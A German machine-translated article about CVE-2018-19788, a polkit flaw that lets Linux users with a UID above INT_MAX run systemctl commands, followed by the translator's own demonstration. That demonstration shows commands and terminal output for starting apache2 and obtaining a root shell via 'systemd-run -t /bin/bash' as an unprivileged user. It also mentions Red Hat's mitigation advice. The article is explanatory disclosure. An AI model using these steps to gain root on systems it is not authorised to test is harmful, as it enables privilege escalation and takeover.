Unberechtigte Linux-Benutzer mit UID> INT_MAX können beliebige Befehle ausführen.

Ursprünglicher Autor: Mohit Kumar
  • Übersetzung
Setzen Sie sich, ich habe Neuigkeiten, die Sie jetzt schockieren ...

Es gibt eine offensichtliche Sicherheitsanfälligkeit in Linux-Betriebssystemen, die es einem Benutzer mit geringen Berechtigungen ermöglicht, jeden Befehl systemctl auszuführen (und sogar root-Interpreter zu werden), wenn seine UID größer als 2147483647 ist.

Bild

Die beschriebene Sicherheitsanfälligkeit, die als CVE-2018-19788 überwacht wird, befindet sich in der PolicyKit- Bibliothek (auch als " polkit" bezeichnet ), Version 0.115, die auf den meisten bekannten Linux-Distributionen, einschließlich Red Hat, Debian, Ubuntu und CentOS, vorinstalliert ist. Polkit ist ein Tool in UNIX-ähnlichen Systemen, mit dem Richtlinien definiert und privilegierten Prozessen Zugriff auf nicht privilegierte Prozesse gewährt wird. Im Gegensatz zu "sudo" gibt der Benutzer dem Prozess keine Administratorrechte, sondern ermöglicht Ihnen, genau zu steuern, was erlaubt und was verboten ist.

Die Sicherheitsanfälligkeit ist auf einen Fehler beim Überprüfen der PolicyKit-Berechtigungsanforderungen für Benutzer mit einer UID größer als INT_MAX zurückzuführen. INT_MAX ist eine Konstante, die den Maximalwert einer Integer-Integer-Variablen speichert, die 2147483647 ist (in Hexadezimal 0x7FFFFFFF).

Wenn wir also ein Konto mit einer UID erstellen, die den INT_MAX-Wert überschreitet, können Sie mit der policyKit-Komponente jeden Befehl systemctl erfolgreich ausführen.

Der Sicherheitsforscher Rich - Mirch (Rich Mirch) von Twitter, stellte sich als « 0xm1rch » veröffentlichte die Großtat Proof-of-Concept (PoC), zu der diese Sicherheitsanfälligkeit erfolgreich zu demonstrieren erfordert einen Benutzer mit UID 4000000000.

Red Hat empfiehlt, dass Systemadministratoren keine negative UID oder UID über 2147483646 zulassen, um das Problem vor der Veröffentlichung des Patches zu mildern.

Verschiedene Arbeitsmethoden vom Übersetzer


Der erste Weg ist einfach über systemctl. Ich habe einen Benutzer mit einer großen UID erstellt und dann versucht, Apache2 zu starten:

1) Zuerst habe ich überprüft, ob es gelogen hat

$ systemctl status apache2
● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
  Drop-In: /lib/systemd/system/apache2.service.d
           └─apache2-systemd.conf
   Active: inactive (dead)

2) versuchte zu laufen, bekam aber einen Fehler

$ systemctl start apache2
(process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)

3) stellte dann aber sicher, dass er noch anfing

$ systemctl status apache2
● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
  Drop-In: /lib/systemd/system/apache2.service.d
           └─apache2-systemd.conf
   Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago
  Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
 Main PID: 2829 (apache2)
    Tasks: 55 (limit: 4526)
   CGroup: /system.slice/apache2.service
           ├─2829 /usr/sbin/apache2 -k start
           ├─2830 /usr/sbin/apache2 -k start
           └─2831 /usr/sbin/apache2 -k start

Die zweite Möglichkeit ist, bash durch systemd zu führen. Ich führte den folgenden Befehl aus, erstellte ein Textdokument im Stammverzeichnis fs, fügte eine Zeile hinzu und überprüfte das Ergebnis

$  systemd-run -t /bin/bash
(process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
# echo hello > /test.txt
# cat /test.txt
hello

Beim Experimentieren in meinem Ubunt habe ich ein anderes Muster entdeckt: Wenn Sie Kontoeinstellungen unter einem Benutzer mit einer solchen UID eingeben, werden alle Einstellungen entsperrt, sodass Sie alle Benutzer bearbeiten und löschen können.

Es bleibt die Frage, wie man einen Benutzer mit einer solchen UID auf dem Opfer-Host „erscheinen lässt“, und stellt dieser Fehler wirklich eine Bedrohung dar?

Jetzt auch beliebt: